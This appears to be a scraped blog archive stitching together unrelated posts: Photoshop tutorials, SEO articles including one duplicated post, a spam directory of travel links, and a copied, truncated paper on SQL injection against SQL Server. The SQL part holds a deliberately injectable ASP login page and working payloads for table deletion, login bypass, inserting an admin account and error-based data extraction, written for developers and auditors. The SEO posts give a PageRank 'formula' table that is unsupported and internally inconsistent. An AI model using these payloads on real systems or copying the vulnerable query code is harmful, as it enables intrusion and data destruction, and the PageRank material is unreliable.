Sunday, January 23, 2011

COLOR HAIR (Photoshop)


Step 1

Open the image in which you want to change the hair color in Photoshop.

Step 2

Now we have to apply an adjustment layer above the image. Click on the icon which circled in red in the image and choose HUe/Saturation from the menu. I want give red highlights to the hairs. Now click on Colorise and apply the following settings:
Hue = 2
Saturation = 58
Lightness = -41

These values can be varied to change the hair color to individual tastes.

Step 3

Now fill black colour in the masking layer indicated in red circle in the image and start painting on the parts of the image you want to colour with white colour and soft brush in the masking layer. You can alter the size and softness of the brush according to your requirement.

Step 4

In this step I have completed the highlighting. Here I have also coloured the eyes and the eyelids a bit.

Step 5

Here is the final result....
Hope this tutorial was helpful to you....

Saturday, January 22, 2011

How to Create a Flaming Photo Manipulation

Final Product What You'll Be Creating

In this tutorial, we’ll manipulate a picture so it looks like a woman burning in flames. The idea behind this manipulation was to create a nice looking illustration, only by using simple techniques and tools such as the Brush tool and Warp command. I hope you enjoy the tutorial and try it with your own stock imagery.

Step 1

For this project, I used two nice images that suits for the manipulation; image1, image2. I would like to thank the author of this two great pictures, which is thiquinho and huibidos from And before we continue with the steps, I need to inform you that this tutorial is written using Photoshop CS3.

Step 2

Let’s start with image1, open and duplicate this image by using the Image > Duplicate command from the menu bar. In the Duplicate Image dialog box, you can name it anything you like, but to follow this tutorial reference, name it "PassionFire" and hit OK. By doing this, we kept the original image. Be sure to save.

Step 3

With the "PassionFire" image active, duplicate the "background" layer. Set the foreground and background color to black and white by pressing D on the keyboard. Click the "background" layer again and fill it with the foreground color ~ which is set to black. See the images below.

Step 4

Reactivate "Layer 1," then press Command + Shift + U to apply desaturate command. Now invert the color by pressing Command + I. Your image should look like a film’s negative now.

Step 5

Duplicate "Layer 1," then apply the find edges filter from Filter > Stylized > Find Edges. Next, invert the color by pressing Command + I and change the Blending Mode to Hard light. There, your image now has contrast white line and a very dark background.

Step 6

To give the white line more contrast, duplicate the "Layer 1" copy then change the Blending Mode to Screen.

Step 7

Now we move to the second image. Drag image2 into "PassionFire" document image window using the Move tool. If the Paste profile mismatch dialog appears, just click OK to fix it.

Step 8

The fire image from "image2" should be in "Layer 2" now. Change its Blending Mode to screen, this will hide all the black colors in "Layer 2." If done right, your image should be similar to the one below.

Step 9

Duplicate "Layer 2" by pressing Command + J. Make sure you use the Screen Blending mode, same as the original "Layer 2." Next, make "Layer 2" become invisible by hiding it from the layers panel.

Step 10

Click the "Layer 2 copy" to make it active, then use the Free Transform command ( Edit > Free Transform) to rotate and resize the fire image like shown below. Don’t forget to press Enter when you’re done transforming.

Step 11

Still in the same layer, now use the warp command (Edit > Transform > Warp) to bend the fire image – so it following the hair flow. Press Enter when done. See the example below as a reference.

Step 12

If you feel the result is not quite good enough, simply use the Liquify filter to fix it. I assume you already know how to use the liquify filter; the Forward Warp tool and Twirl Clockwise tool is the only tool I used to get this result (see image below).

Step 13

Duplicate the "Layer 2" copy, then use the Free Transform command to resize and rotate the fire image in the current layer. Don’t forget to reposition the fire image too. Once you get this composition (see image below), hit Enter.

Step 14

Repeat the previous process to get the hair covered with fire. Just duplicate and modify the layer until you get all the hair part covered. If needed, use the Liquify Filter again. The end result of this process should look like the image below, notice how many layers are used.

Step 15

Okay, now activate "Layer 2" and make it visible again. Then Change the Blending Mode to Vivid Light. This step will colorize only the white line in the layer below it.

Step 16

Still in "Layer 2," apply the Free Transform command to resize and rotate the fire image like shown below. The purpose is to cover up the girl’s body and hair with the fire texture. Press Enter when you’re done transforming.

Step 17

We’re gonna blur the fire image in "Layer 2," To do so, apply the Gaussian Blur filter from the Filter > Blur > Gaussian Blur menu. Fill the Radius around 10 to 15 pixels, then click OK when done. Blurring the fire image will cause its texture to blend smoother with the layer below it.

Step 18

Now add a layer mask to "Layer 2." Then use a soft round Brush tool with Opacity at 100%. Set the brush size according to your need, then just mask until the fire outside becoming hidden. See the process below.

Step 19

Sure we will remove the white line shown in the image (marked in red rectangle below). First, add a new blank layer below "Layer 2." Then simply paint it with black using the soft round brush tool.

Step 20

Now go to the top most layer (mine is: "Layer 2 copy 6"), add two adjustment layers which is Hue/Saturation and Brightness/Contrast. Careful not to change the layer adjustment order, or the color effect will be wrong. Below you can see the setting I used to complete this step, also pay attention to the adjustment layer order.
By adding a Hue/Saturation adjustment layer, we unify all colors. The Brightness/Contrast adjustment layer brings more color contrast and makes sure the image color’s looks like real fire.

Step 21

I’m sure you notice the fire sparks effect. I create it using the Brush tool with this simple setting. No special brush needed, but if you have one that will be useful then feel free to use it. Below you can see all the settings I used within the Brush palette, of course you can change the setting as you like. Just make sure the brush spatter enough and vary the size.

Step 22

Now to use the modified brush, create a new blank layer below the adjustment layers ( mine is named "Layer 4"). Choose 50% gray from the swatches palette, then you can start creating the fire sparks. Remember not to be monotone, resize the brush size if needed. I start using a big sized brush, then reduce it to smaller size (you can change brush size faster by pressing the bracket keys on the keyboard ).
If you’re not sure how to do this steps, just imagine where and how the fire sparks will flow if it was real fire. For me, imagining stuff is very helpful.

Step 23

To make it more interesting, create a new layer and change the Blending Mode to Screen. Then use a normal soft round brush (not the one we modified earlier), with an Opacity of 50%. Just click in the part of body, neck, and hair. I’m not sure how to explain this, but you can see the difference between the above and below images.


And that’s all of it! Hope you learned something new and had fun. You can view the final image below or view a larger version here.

Google Page Rank Algorithm Posted by Seo Service Provider

Saturday, January 8, 2011

Google Page Rank Algorithm

Google is so popular and successful search engine and Google page rank algorithm is the very important of search engine optimization results. Page rank algorithm is indicated on a scale of 1-10. and the value of each individual page is denoted by the Google Page Rank algorithm. How do we get the best results and good position in search engine within the Google Rank algorithm. ?

A final note, though. While the workings of the Google page rank algorithm are automated and non-human, there is a human element. One of the best ways to optimize a website and have a good chance at decent ranking is to consistently serve up top-shelf content, with relevant keywords in the body, headings and titles of every page. This practice attracts reputable natural back links that elevate your chances of not being lost in the sea of Web pages.

As far as search engines go, Google is so unbelievably successful and popular, it’s becoming the generic name for them – much like Band-Aid, Kleenex and Frisbee. Even my 74-year-old mother says she’s going to “Google” something. Many people would say Google is the best of the best and returns the most spot-on results no matter what you’re looking for. And it does this in mere seconds with the world’s most talked about process – its very own Google search algorithm.

Monday, December 20, 2010

Google Page Rank Algorithm

Page Rank is named after Larry Page. Page Rank is a rank given to each and every page across the world depending upon the number of back links to that particular page.

We cannot say that all the pages do get a page rank according to this formula. Just for purpose the formula used to calculate PR is

Page Rank Formula
1 PR1 = 101 PR0

1 PR2 = 555 PR0 = 101 PR1

1 PR3 = 3,000 PR0 = 555 PR1 = 101 PR2

1 PR4 = 17,000 PR0 = 3,000 PR1 = 555 PR2 = 101 PR3

1 PR5 = 93,000 PR0 = 17,000 PR1 = 3,000 PR2 = 555 PR3 = 101 PR4

1 PR6 = 508,000 PR0 = 93,000 PR1 = 17,000 PR2 = 3,000 PR3 = 555 PR4 = 101 PR5

1 PR7 = 2,878,666 PR0 = 508,000 PR1 = 93,000 PR2 = 17,000 PR3 = 3,000 PR4 = 555 PR5 = 101 PR6

1 PR8 = 15,818,412 PR0 = 2,878,666 PR1 = 508,000 PR2 = 93,000 PR3 = 17,000 PR4 = 3,000 PR5 = 555 PR6 = 101 PR7

1 PR9 = 85,504,929 PR0 = 15,818,412 PR1 = 2,878,666 PR2 = 508,000 PR3 = 93,000 PR4 = 17,000 PR5 = 3,000 PR6 = 555 PR7 = 101 PR8

1 PR10 = 462,188,805 PR0 = 85,504,929 PR1 = 15,818,412 PR2 = 2,878,666 PR3 = 508,000 PR4 = 93,000 PR5 = 19,000 PR6 3,000 PR7 = 555 PR8 = 101 PR9

Wee cannot say that all pages having a PR3 link is a PR1. Google update the page rank of all the pages only a few times in an year. When we see SERP, PR is given very less importance. There are several factors are considered before ranking a page such as relevancy of linking page.

Many people might think that search rankings are done based on only Page Rank. But that is not true. Actually, the ranking is done based on various criteria and PR is also one of the metric that Google considers among many metrics. And as per our researches, the % of importance given to page rank as a metric is reducing in each update of Google.

When the PR of any page is higher, then the value will be very high. As mentioned above but not directly affect the rankings. So give little importance to page rank and do not consider it as the only metric.

Article will be updated as per the latest update।

Thursday, December 2, 2010

30 black hat techniques you can use ethically

1. Hidden text – Create modern CSS based websites with JQuery effects. They often hide large portions of text in layers to display them on click or mouse over for usability reasons. Example: CSS pagination.

2. IP delivery – Offer the proper localized content to those coming from a country specific IP address. Offer the user a choice though. does a great job here.

3. 301 redirects – Redirect outdated pages to the newer versions or your homepage. When moving to a new domain use them of course as well.

4. Throw Away Domains – Create exact match micro sites for short term popular keywords and abandon them when the trend subsides. Something like

5. Cloaking – Hide the heavy Flash animations from Google, show the text-only version optimized for accessibility and findability.

6. Paid links – Donate for charity, software developers etc. Many of them display links to those who donate.

7. Keyword stuffing – Tags and folksonomy. Keyword stuff but adding several tags or let your users do the dirty work via UGC tagging (folksonomy) every major social site does that.

8. Automatically generated keyword pages – Some shopping search engines create pages from each Google search query and assign the appropriate products to each query. You can do that as well if you have enough content.

9. Mispsellings – Define, correct the misspelled term and/or redirect to the correct version.

10. Scraping – Create mirrors for popular sites. Offer them to the respective webmasters. Most will be glad to pay less.

11. Ad only pages – Create all page ads (interstitials) and show them before users see content like many old media do.

12. Blog spam – Don’t spam yourself! Get spammed! Install a WordPress blog without Akismet spam protection. Then create a few posts about Mesothelioma for example, a very profitable keyword. Then let spammers comment spam it or even add posts (via TDO Mini Forms). Last but not least parse the comments for your keyword and outgoing links. If they contain the keyword publish them and remove the outgoing links of course. Bot user generated content so to say.

13. Duplicate content on multiple domains – Offer your content under a creative Commons License with attribution.

14. Domain grabbing – Buy old authority domains that failed and revive them instead of putting them on sale.

15. Fake news – Create real news on official looking sites for real events. You can even do it in print. Works great for all kinds of activism related topics.

16. Link farm – Create a legit blog network of flagship blogs. A full time pro blogger can manage 3 to 5 high quality blogs by her or himself.

17. New exploits – Find them and report them, blog about them. You break story and thus you get all the attention and links. Dave Naylor is excellent at it.

18. Brand jacking – Write a bad review for a brand that has disappointed you or destroys the planet or set up a brand x sucks page and let consumers voice their concerns.

19. Rogue bots – Spider websites and make their webmasters aware of broken links and other issues. Some people may be thankful enough to link to you.

20. Hidden affiliate links – In fact hiding affiliate links is good for usability and can be even more ethical than showing them. is far worse than than just Also unsuspecting Web users will copy your ad to forums etc. which might break their TOS. The only thing you have to do is disclose the affiliate as such. I prefer to use [ad] (on Twitter for example) or [partner-link] elsewhere. This way you can strip the annoying “ref” ids and achieve full disclosure at the same time.

21. Doorway pages – Effectively doorway pages could also be called landing pages. The only difference is that doorway pages are worthless crap while landing pages are streamlined to suffice on their own. Common for both is that they are highly optimized for organic search traffic. So instead of making your doorway pages just a place to get skipped optimize them as landing pages and make the users convert right there.

22. Multiple subdomains – Multiple subdomains for one domain can serve an ethical purpose. Just think or – they create multiple subdomains by UGC. This way they can rank several times for a query. You can offer subdomains to your users as well.

23. Twitter automation – There is nothing wrong with Twitter automation as long as you don’t overdo it. Scheduling and repeating tweets, even automatically tweeting RSS feeds from your or other blogs is perfectly OK as long as the Twitter account has a real person attending it who tweets “manually” as well. Bot accounts can be ethical as well in case they are useful no only for yourself. A bot collecting news about Haiti in the aftermath of the earthquake would be perfectly legit if you ask me.

24. Deceptive headlines – Tabloids use them all the time, black hat SEO also do. There are ethical use cases for deceptive headlines though. Satire is one of course and humor simply as well. For instance I could end this list with 24 items and declare this post to a list of 30 items anyways. That would be a good laugh. I’ve done that in the past but in a more humorous post.

25. Google Bowling – The bad thing about Google bowling is that you hurt sites you don’t like. You could reverse that: Reverse Google bowling would mean that you push sites of competitors you like to make those you dislike disappear below. In a way we do that all the time linking out to the competition, the good guys of SEO who then outrank the ugly sites we like a lot less.

26. Invisible links – You’d never used invisible links on your sites did you? You liar! You have. Most free web counters and statistic tools use them. Statcounter is a good example. So when you embed them on your site you use invisible links.

27. Different content for search engines than users – Do you use WordPress? Then you have the nofollow attribute added to your comment links. this way the search engine gets different content than the user. He sees and clicks a link. A search bot sees a no trespass sign instead. In white hat SEO it’s often called PageRank sculpting. Most social media add ons do that by default.

28. Hacking sites – While crackers hack sites security experts warn site owners that they vulnerabilities. Both discover the same issues. Recently I got an email by someone who warned me to update my WordPress installation. That was a grand idea I thought.

29. Slander linkbait – Pulling a Calacanis like “SEO is bullshit” is quite common these days. Why don’t do it the other way around? The anti SEO thing doesn’t work that good anymore unless you are as famous as Robert Scoble. In contrast a post dealing with “100 Reasons to Love SEO Experts” might strike a chord by now.

30. Map spam – Instead of faking multiple addresses all over the place just to appear on Google Maps and Local why don’t you simply create an affiliate network of real life small business owners with shops and offices who, for a small amount of money, are your representatives there? All they need to do is to collect your mail from Google and potential clients.

Wednesday, December 1, 2010

Google Page Rank Yearly Information for 2010

As anyone in the SEO business will tell you, those who swear by Google will pay significant attention to its Page Ranking information. Undoubtedly, Google has still one of the biggest and most respected search engines on the Web, and few can doubt the power of its database. Google is often the first page to be targeted by most web designers, web developers and search engine optimizers when they plan or design a website, and invariably the meta tags or meta description and links or other elements will be planned so as to get the best ranking out of this ubiquitous web browser that is respected all across the world in many languages.

The ranking of your web page on Google Page Rank is often an indication of its popularity. The work of the search engine optimizers is also to be appreciated in this regard, as they are often called to task if the ranking is not reflecting a client’s desires. Of course all this is easier said than done. No one but Google knows its formula for ranking pages, and its criteria are changing from time to time. Today cross referencing from different websites and blog sites seems to be the most favored idea to get a higher ranking. The choice of keywords and presentation and content of your website are nevertheless all important factors that can never be overlooked.

This year Google has given the SEO world a nice New Year’s Eve present in the shape of the annual page rank update. Google appears to be making this a yearly feature, as it also made a toolbar page rank update on Dec 31, 2008.

In fact the release of rankings at this time is very opportune, as many site owners look at this aspect in preparation for their New Year 2010.

We take this opportunity to wish both our clients and our competitors a very Happy New Year, and pray that may all our sites’ Page Ranks reach new heights in 2010. Do check out your site’s page rank now and see if it got shored up. We got a PR of 4 on our as well as for one of our client’s website What about you?

Friday, September 10, 2010

Again PageRank Algorithm

We all Just know that More Backlinks = More PageRank = Higher Rankings. Is this Right? Nope. There are certain values for Measuring PageRank. The Real Google PageRank Algorithm was Officially Announced by Lawrence Page and Sergey Brin. It is as follows:

PR(A) = (1-d) + d (PR(T1)/C(T1) + … + PR(Tn)/C(Tn))


* PR(A) is the PageRank of page A,
* PR(Ti) is the PageRank of pages Ti which link to page A,
* C(Ti) is the number of outbound links on page Ti and
* d is a damping factor which can be set between 0 and 1


Many SEO Professionals States that Google is Updating PageRank each and every Day (or moment). Of course, The PageRank update we see is just an Update of Toolbars.

Webmasters and SEO Professionals takes PageRank as an Indication of Victory. It maybe. However, It must not be forced (Don’t do Link Building ;) ). Yeah.. It must in the Natural Way… Real Way of Building Reputation and Authority. Natural Search Engine Optimization Techniques is the only way you can prefer for a better Rankings and of course, PageRank too.

We can find many Low PR Blogs having very good SERP (Search Engine Results Page) Ranks. It shows that PageRank does not mean higher Rankings. After all, our Final Aim is to Rank Higher on Search Engines to Attract more and more Visitors.

Friday, August 20, 2010

Google Page Rank Algorithm

Page Rank is named after Larry Page. Page Rank is a rank given to each and every page across the world depending upon the number of back links to that particular page.

We cannot say that all the pages do get a page rank according to this formula. Just for purpose the formula used to calculate PR is

Page Rank Formula
1 PR1 = 101 PR0

1 PR2 = 555 PR0 = 101 PR1

1 PR3 = 3,000 PR0 = 555 PR1 = 101 PR2

1 PR4 = 17,000 PR0 = 3,000 PR1 = 555 PR2 = 101 PR3

1 PR5 = 93,000 PR0 = 17,000 PR1 = 3,000 PR2 = 555 PR3 = 101 PR4

1 PR6 = 508,000 PR0 = 93,000 PR1 = 17,000 PR2 = 3,000 PR3 = 555 PR4 = 101 PR5

1 PR7 = 2,878,666 PR0 = 508,000 PR1 = 93,000 PR2 = 17,000 PR3 = 3,000 PR4 = 555 PR5 = 101 PR6

1 PR8 = 15,818,412 PR0 = 2,878,666 PR1 = 508,000 PR2 = 93,000 PR3 = 17,000 PR4 = 3,000 PR5 = 555 PR6 = 101 PR7

1 PR9 = 85,504,929 PR0 = 15,818,412 PR1 = 2,878,666 PR2 = 508,000 PR3 = 93,000 PR4 = 17,000 PR5 = 3,000 PR6 = 555 PR7 = 101 PR8

1 PR10 = 462,188,805 PR0 = 85,504,929 PR1 = 15,818,412 PR2 = 2,878,666 PR3 = 508,000 PR4 = 93,000 PR5 = 19,000 PR6 3,000 PR7 = 555 PR8 = 101 PR9

Wee cannot say that all pages having a PR3 link is a PR1. Google update the page rank of all the pages only a few times in an year. When we see SERP, PR is given very less importance. There are several factors are considered before ranking a page such as relevancy of linking page.

Many people might think that search rankings are done based on only Page Rank. But that is not true. Actually, the ranking is done based on various criteria and PR is also one of the metric that Google considers among many metrics. And as per our researches, the % of importance given to page rank as a metric is reducing in each update of Google.

When the PR of any page is higher, then the value will be very high. As mentioned above but not directly affect the rankings. So give little importance to page rank and do not consider it as the only metric.

Article will be updated as per the latest update।

Friday, August 6, 2010

Campaign Of Link Building - How to Improve ranking your sites

There are a few promotional activities which show late results, but have long lasting influence. Link building also falls in the same category. It takes time to implement and to yield the expected results as well. Wherever we get experts tips for link building, we see that it suggests putting patience. So, let us discuss why we need patience in link building?

Making list of keywords for link building, takes time

A good link with proper anchor text can improve the positioning of website in the search engine result for that keyword. This means that if we make a generalization, we can determine that a site needs about 10-15 keywords (generalized and is not the case for all websites) to rank for and we will have to develop considerable links for each of the keywords.

Determining top 10-15 keywords needs keyword research which includes: Identify most competitive and low competitive keywords, analyze total search on each keywords and set priorities for ranking.

Building networks, take time

Link building is about creating a network of contacts, i.e invest time in finding good contacts and establishing a relationship with them, so you can gain an advantage.

This comprise preparing list of quality resources, interact with them or invite them to join your community or networks. Get in touch with them and maintain relationship.

When we focus on ten key words, we need equal links for each one. Finding a good number of websites that we link requires time and skill.

Manual Efforts, take time

Many of the things that are done manually take long time. Reviewing the link pages, their strengths, theme relevancy, analyzing the link strategies of the competitors, sending link emails, all these activities takes time to perform manually.

Building trusted links, take time

It is a well known fact that if you link your website with an old reputed websites or with the trusted domains (like .gov, .edu etc), your website deserves a higher rankings. However, it takes quite time and research to search these qualified resources.

Thus, if you are contemplating link building campaign, the best advice is think long term and get involved in link building with loads of patience. Your consistent efforts may not give you instant result but will give you long lasting result.

About Author: Link popularity matters deliver Link building services to help organizations achieve their online marketing goals. It provides quality link building to attract relevant traffic and increase link popularity. Contact us to buy one way links

China Maps China Travel Guide

Hostels Budapest - Hostel Budapest: Universum Youth Hostels Budapest Hungary

Universum Youth Hostels - has been operating hostels & hotels in the center of Budapest since 1989. Hotel & Hostel Rila**, Hostel Vásárhelyi, Hostel Apáczai, Hostel Landler and Hostel Rózsa.

Ski Goggles - Wide range of ski gear including ski goggles, hats, jacket, pants and sunglasses.

Virgin Media Broadband

Hotels In Roma - Rome - Complete web portal to book your stay in rome and more other cities in italy.

One-stop Hotel Reservation - Excelloz Travel - One-stop hotel reservation for Bangkok hotels, Phuket Hotels and Bali hotels

Budapest Hotels: Apartment Hotel Budapest, Apartments, Accommodation in Budapest, Hungary Destination Budapest is an Online Accommodation & Hotel Reservation Service in Budapest. We provide selected accommodation such as Hotel, Apartment, Pension, and Hostel at affordable prices.

5 Star Travel Center - The Best Prices for airline, hotel, and rental car reservations. Also save on vacation rentals, cruise ships, and tour packages.

Kauai Hawaii Prince Kuhio Condo Rentals - Poipu Beach - Just 50 yards from the ocean, our spaceous 1 bedroom condo has great views, swimming pool, and a spectacular tropical garden. The beach is famous for surfing, snorkling, and sunsets! Unbeatable price and location!

Travel Ticket Reservations - Travel USA and World for low rates on flights, hotels, cruises, vacations.

Accommodation in Prague Apartments

Holiday Apartments in Prague, over 200 apartments to choose from. Excellent location, great prices!

Hotels in Slovenia - Online booking of hotels in Slovenia, inclusive of Ljubljana, Bled and Portoroz. More travel related resources like flights and car rental reservation, guidebooks shop and a lot of information on Slovenia.

Sandal beach resorts jamaica - Booking sandal beach resorts in jamaica with

5 Star Florida Vacation Rentals - Save on Florida Vacation Rentals direct from owners - Owners get free ads

Hostels Budapest - Hostel Budapest: Universum Youth Hostels Budapest Hungary

Universum Youth Hostels - has been operating hostels & hotels in the center of Budapest since 1989. Hotel & Hostel Rila**, Hostel Vásárhelyi, Hostel Apáczai, Hostel Landler and Hostel Rózsa.

Bali Villa Rental - Bali villas located only 10 minutes from downtown Legian-Seminyak. Relax and rejuvenate in our private villas each with a private swimming pool, amidst lush tropical gardens.

Spanish Property - Finding or listing your property in the Mediteranean has never been easier. For sale and rent by owner or agent in several languages, visit!


5 Star Mexico Resorts - Luxury Resorts, All-Inclusive Resorts, & Timeshare Rentals in Mexico

Travlang Online - Travel and Foreign Language

Hotels Budapest: Book hotels in Budapest

Budapest Hotels Online Booking Service: Find available hotels in Budapest with description pictures and prices.

Book Budapest hotels online and get realtime confirmation.

Friday, January 21, 2011

Advanced SQL Injection In SQL Server

Table of Contents
1. [Abstract] 
2. [Introduction] 
3. [Obtaining Information Using Error Messages] 
4. [Leveraging Further Access]
5. [xp_cmdshell] 
6. [xp_regread]
7. [Other Extended Stored Procedures] 
8. [Linked Servers]
9. [Custom extended stored procedures] 
10.[Importing text files into tables]
11.[Creating Text Files using BCP]
12.[ActiveX automation scripts in SQL Server]
13.[Stored Procedures]
14.[Advanced SQL Injection]
15.[Strings without quotes] 
16.[Second-Order SQL Injection]
17.[Length Limits]
18.[Audit Evasion]
20.[Input Validation]
21.[SQL Server Lockdown] 
23.Appendix A - 'SQLCrack'

This document discusses in detail the common 'SQL injection' technique, as it applies to the popular Microsoft Internet Information Server/Active Server Pages/SQL Server platform. It discusses the various ways in which SQL can be 'injected' into the application and addresses some of the data validation and database lockdown issues that are related to this class of attack.
The paper is intended to be read by both developers of web applications which communicate with databases and by security professionals whose role includes auditing these web applications.

Structured Query Language ('SQL') is a textual language used to interact with relational databases. There are many varieties of SQL; most dialects that are in common use at the moment are loosely based around SQL-92, the most recent ANSI standard. The typical unit of execution of SQL is the 'query', which is a collection of statements that typically return a single 'result set'. SQL statements can modify the structure of databases (using Data Definition Language statements, or 'DDL') and manipulate the contents of databases (using Data Manipulation Language statements, or 'DML'). In this paper, we will be specifically discussing Transact-SQL, the dialect of SQL used by Microsoft SQL Server. SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application.A typical SQL statement looks like this:
select id, forename, surname from authors
This statement will retrieve the 'id', 'forename' and 'surname' columns from the 'authors'
table, returning all rows in the table. The 'result set' could be restricted to a specific 'author' like this:
select id, forename, surname from authors where forename = 'john' and
surname = 'smith'
An important point to note here is that the string literals 'john' and 'smith' are delimited with single quotes. Presuming that the 'forename' and 'surname' fields are being gathered from user-supplied input, an attacker might be able to 'inject' some SQL into this query, by inputting values into the application like this:
Forename: jo'hn
Surname: smith
The 'query string' becomes this:
select id, forename, surname from authors where forename = 'jo'hn' and
surname = 'smith'
When the database attempts to run this query, it is likely to return an error:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
The reason for this is that the insertion of the 'single quote' character 'breaks out' of the single-quote delimited data. The database then tried to execute 'hn' and failed. If the attacker specified input like this:
Forename: jo'; drop table authors--
…the authors table would be deleted, for reasons that we will go into later. It would seem that some method of either removing single quotes from the input, or 'escaping' them in some way would handle this problem. This is true, but there are several difficulties with this method as a solution. First, not all user-supplied data is in the form of strings. If our user input could select an author by 'id' (presumably a number)for example, our query might look like this:
select id, forename, surname from authors where id=1234
In this situation an attacker can simply append SQL statements on the end of the numeric input. In other SQL dialects, various delimiters are used; in the Microsoft Jet DBMS engine, for example, dates can be delimited with the '#' character. Second, 'escaping' single quotes is not necessarily the simple cure it might initially seem, for reasons we will go into later.
We illustrate these points in further detail using a sample Active Server Pages (ASP) 'login' page, which accesses a SQL Server database and attempts to authenticate access to some fictional application.

This is the code for the 'form' page, into which the user types a username and password:
<TITLE>Login Page</TITLE>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<FORM action='process_login.asp' method=post>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

This is the code for 'process_login.asp', which handles the actual login:
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
<%@LANGUAGE = JScript %>
function trace( str )
if( Request.form("debug") == "true" )
Response.write( str );
function Login( cn )
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql ); sql, cn );
if (rso.EOF)
<FONT Face='tahoma' color='cc0000'>
Session("username") = "" + rso("username");
<FONT Face='tahoma' color='00cc00'>
<%   Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
function Main()
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20; "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
Login( cn );
The critical point here is the part of 'process_login.asp' which creates the 'query string' :
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
If the user specifies the following:
Username: '; drop table users--
..the 'users' table will be deleted, denying access to the application for all users. The '--' character sequence is the 'single line comment' sequence in Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. The '--' at the end of the username field is required in order for this particular query to terminate without error.
The attacker could log on as any user, given that they know the users name, using the following input:
Username: admin'--
The attacker could log in as the first user in the 'users' table, with the following input:
Username: ' or 1=1--
…and, strangely, the attacker can log in as an entirely fictional user with the following input:
Username: ' union select 1, 'fictional_user', 'some_password', 1--
The reason this works is that the application believes that the 'constant' row that the attacker specified was part of the recordset retrieved from the database.

[Obtaining Information Using Error Messages]
This technique was first discovered by David Litchfield and the author in the course of a penetration test; David later wrote a paper on the technique [1], and subsequent authors have referenced this work. This explanation discusses the mechanisms underlying the 'error message' technique, enabling the reader to fully understand it, and potentially
originate variations of their own. 
In order to manipulate the data in the database, the attacker will have to determine the structure of certain databases and tables. For example, our 'users' table might have been created with the following command:
create table users(  id int,
username varchar(255),
password varchar(255),
privs int
..and had the following users inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Let's say our attacker wants to insert a user account for himself. Without knowing the structure of the 'users' table, he is unlikely to be successful. Even if he gets lucky, the significance of the 'privs' field is unclear. The attacker might insert a '1', and give himself a low - privileged account in the application, when what he was after was administrative access.
Fortunately for the attacker, if error messages are returned from the application (the default ASP behaviour) the attacker can determine the entire structure of the database, and read any value that can be read by the account the ASP application is using to connect to the SQL Server.
(The following examples use the supplied sample database and .asp scripts to illustrate how these techniques work.)
First, the attacker wants to establish the names of the tables that the query operates on, and the names of the fields. To do this, the attacker uses the 'having' clause of the 'select' statement:
Username: ' having 1=1--
This provokes the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column '' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

So the attacker now knows the table name and column name of the first column in the
query. They can continue through the columns by introducing each field into a 'group by'
clause, as follows:
Username: ' group by having 1=1--
(which produces the error…)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

Eventually the attacker arrives at the following 'username':
' group by, users.username, users.password, users.privs having
… which produces no error, and is functionally equivalent to:
select * from users where username = ''
So the attacker now knows that the query is referencing only the 'users' table, and is using
the columns 'id, username, password, privs', in that order.
It would be useful if he could determine the types of each column. This can be achieved
using a 'type conversion' error message, like this:
Username: ' union select sum(username) from users--
This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before
determining whether the number of fields in the two rowsets is equal. Attempting to
calculate the 'sum' of a textual field results in this message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we
attempt to calculate the sum() of a numeric type, we get an error message telling us that
the number of fields in the two rowsets don't match:
Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/process_login.asp, line 35

We can use this technique to approximately determine the type of any column of any
table in the database.
This allows the attacker to create a well - formed 'insert' query, like this:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff
However, the potential of the technique doesn't stop there. The attacker can take
advantage of any error message that reveals information about the environment, or the
database. A list of the format strings for standard error messages can be obtained by
select * from master..sysmessages
Examining this list reveals some interesting messages.
One especially useful message relates to type conversion. If you attempt to convert a
string into an integer, the full contents of the string are returned in the error message. In
our sample login page, for example, the following 'username' will return the specific
version of SQL server, and the server operating system it is running on:
Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35

This attempts to convert the built-in '@@version' constant into an integer because the
first column in the 'users' table is an integer.
This technique can be used to read any value in any table in the database. Since the
attacker is interested in usernames and passwords, they are likely to read the usernames
from the 'users' table, like this:
